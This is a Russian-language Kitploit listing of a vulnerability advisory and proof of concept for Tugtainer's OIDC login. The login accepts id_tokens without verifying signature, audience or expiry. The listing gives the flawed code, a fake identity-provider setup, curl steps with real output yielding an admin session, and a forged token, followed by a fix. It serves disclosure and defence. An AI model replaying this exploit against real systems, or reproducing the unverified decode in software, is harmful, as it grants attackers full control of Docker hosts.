Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
tugtainer-PoC — PoC — OIDC id_token принимается без проверки подписи/audience/срока действия в Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1). | Kitploit
Инструменты/GitHubGitHub/squeeze440/tugtainer-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеУправление идентификацией и доступом (IAM)Аутентификация
GitHubsqueeze440/tugtainer-poc

tugtainer-PoC

PoC — OIDC id_token принимается без проверки подписи/audience/срока действия в Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).

Репозиторий
7 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сводка

Статус CVE: запрошен, ожидает присвоения. Эта находка опубликована как GHSA-crjc-6vc7-xrfh. После присвоения CVE этот репозиторий будет переименован в CVE-YYYY-NNNNN-tugtainer-PoC, а этот баннер заменён ссылкой на CVE.

ИсследовательDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-crjc-6vc7-xrfh
CVSS 3.18.1 (High)
СлабостьCWE-347

Сводка

Ненадлежащая проверка криптографической подписи в провайдере аутентификации OIDC в backend/modules/auth/providers/auth_oidc_provider.py в Quenary/tugtainer (коммит 3138226) позволяет атакующему, способному контролировать или перехватывать ответ token-exchange между бэкендом tugtainer и настроенным OIDC-провайдером (например, позиция MITM в сети, скомпрометированный/вредоносный провайдер идентификации или компрометация DNS/TLS-терминации на этом пути), подделать произвольный id_token и получить полностью аутентифицированную сессию tugtainer с правами администратора для любой идентичности через GET /api/auth/oidc/callback.

Продукт

Quenary/tugtainer — self-hosted инструмент автообновления Docker-контейнеров с веб-интерфейсом, архитектурой agent/backend.

Протестированная версия

Коммит 31382268bf16df32f33316fe4d601ad1635871d4 (ветка по умолчанию репозитория, клонирован 2026-08-05).

Оценка CVSS v3.1

8.1 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AC:H (не AC:L): эксплуатация не является обычным неаутентифицированным сетевым запросом. Она требует, чтобы атакующий контролировал то, что token endpoint возвращает бэкенду во время server-to-server обмена кода — реалистично это позиция MITM между бэкендом tugtainer и настоящим IdP, либо скомпрометированный/вредоносный IdP, которому бэкенд настроен доверять. Это реальное, нетривиальное предусловие, поэтому используется AC:H, а не AC:L.
  • UI:N: как только атакующий обладает такой сетевой позицией, взаимодействие жертвы не требуется — атакующий может провести весь процесс входа самостоятельно (подтверждено в PoC ниже, выполнено end-to-end с помощью curl).
  • C:H/I:H/A:H: результирующая сессия — это полная, неограниченная сессия tugtainer (для идентичностей OIDC не существует RBAC/allowlist — см. Детали) с доступом ко всем endpoint управления контейнерами/хостом: перечисление/чтение всех Docker-хостов и контейнеров, запуск/остановка/kill/удаление контейнеров, загрузка образов и (если на хосте включены ALLOW_HOOKS/ALLOW_EXEC) выполнение команд внутри контейнеров.
  • S:U: воздействие остаётся в пределах собственной границы авторизации tugtainer (атакующий становится аутентифицированным пользователем tugtainer); это не рассматривается как изменение области действия в отдельно авторизуемый компонент.

Детали

backend/modules/auth/providers/auth_oidc_provider.py, метод _exchange_oidc_code (строки 267–331), в частности строки 299–306:

root@kitploit:~
# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

jwt.get_unverified_claims() (python-jose) выполняет base64-декодирование payload JWT без проверки подписи, exp/iat или aud/iss — полная противоположность тому, что OpenID Connect Core 1.0 §3.1.3.7 требует от RP перед доверием к ID Token. Собственный комментарий разработчика («not recommended for production») подтверждает, что это было известное упрощение, а не намеренное проектное решение.

Полученные claims напрямую попадают в создание сессии без каких-либо дополнительных проверок:

  • callback() (строка 137) вызывает _exchange_oidc_code(), затем _create_oidc_user_session() (строка 333), который извлекает email/sub/preferred_username (строки 341–345) непосредственно из непроверенных claims и выпускает настоящие подписанные JWT-куки tugtainer access_token/refresh_token (HttpOnly, SameSite=strict) через _set_cookies().
  • В кодовой базе нигде нет allowlist разрешённых идентичностей OIDC (grep по шаблонам allowlist/allowed-email в backend/ ничего не возвращает) — какой бы sub/email ни был в (непроверенных) claims, он становится идентичностью новой сессии с тем же доступом, что и у любого другого вошедшего пользователя (в tugtainer единый плоский уровень доверия, без per-user RBAC).
  • Поскольку aud и iss никогда не проверяются, ID Token, выпущенный для совершенно не связанного клиента того же IdP — или, как показано ниже, с мусорной/несовпадающей подписью и уже истёкшим exp — принимается так же легко, как и легитимный.

Это достижимо только когда OIDC_ENABLED=true (opt-in администратора), поэтому это не затрагивает развёртывание по умолчанию/только с паролем.

Proof of Concept

Проверено динамически на реальном приложении, собранном из этого коммита (docker build -f Dockerfile.app), запущенном через обычный docker run (не опубликованный образ) с:

root@kitploit:~
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

Минимальный фейковый OIDC-провайдер (evidence/fake_idp.py, хранится в папке этого engagement) отдаёт валидный discovery-документ и на POST /token всегда возвращает id_token, который намеренно невалиден во всех отношениях, которые RP обязан проверять:

  • подпись = буквальные байты-заглушки, не настоящая HMAC/RSA-подпись
  • aud = "totally-wrong-client-id-not-tugtainers" (не совпадает с OIDC_CLIENT_ID)
  • exp = 1 час в прошлом (уже истёк)

Шаги (реальные команды, реальный вывод, оба контейнера запущены локально):

root@kitploit:~
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

Декодированный payload access_token (как выпущено собственным JWT-подписывателем tugtainer для этого «пользователя»):

root@kitploit:~
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

Затем сессия подтверждена вживую на защищённых endpoint:

root@kitploit:~
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized

Собственный лог фейкового IdP подтверждает точный подделанный токен, который он вернул:

root@kitploit:~
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw

Вспомогательный PoC: evidence/fake_idp.py (хранится вместе с этим отчётом).

Скриншоты не включены — это server-to-server обход API без браузерного/UI-компонента для захвата; приведённая выше расшифровка curl является реальным, неизменённым доказательством команд/ответов.

Воздействие

Любой атакующий, способный влиять на ответ вызова token-exchange OIDC, который выполняет бэкенд tugtainer (MITM на этом сетевом пути, вредоносный/скомпрометированный IdP или компрометация DNS/TLS-терминации между бэкендом и IdP), может выпустить полностью валидную, неограниченную сессию tugtainer под произвольной идентичностью — без необходимости знать учётные данные какого-либо реального пользователя и без взаимодействия легитимного пользователя. Поскольку в tugtainer нет per-user RBAC, эта сессия имеет полный доступ к приложению: перечисление всех зарегистрированных Docker-хостов и контейнеров, запуск/остановка/kill/удаление контейнеров, загрузка/тегирование образов и (где включены ALLOW_HOOKS/agent ALLOW_EXEC) выполнение команд внутри контейнеров.

Слабости

  • CWE-347: Improper Verification of Cryptographic Signature
  • CWE-345: Insufficient Verification of Data Authenticity (отсутствуют проверки aud/iss/exp)
  • CWE-287: Improper Authentication

Устранение

В _exchange_oidc_code замените jwt.get_unverified_claims(token["id_token"]) на декодирование с проверкой: получите jwks_uri IdP из discovery-документа, найдите ключ подписи по kid и вызовите jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose поддерживает всё это). Это обеспечивает проверку подписи, exp/iat/nbf, aud и iss согласно спецификации OIDC Core. Рассмотрите также добавление опционального allowlist принимаемых значений email/sub для развёртываний, которые используют общий IdP с другими приложениями.

Благодарность

Dostxodjayev Abdullox (GitHub: squeeze440)

Канал отчётности

GitHub Security Advisory / Private Vulnerability Reporting в Quenary/tugtainer (PVR подтверждён как включённый).

Скачать инструмент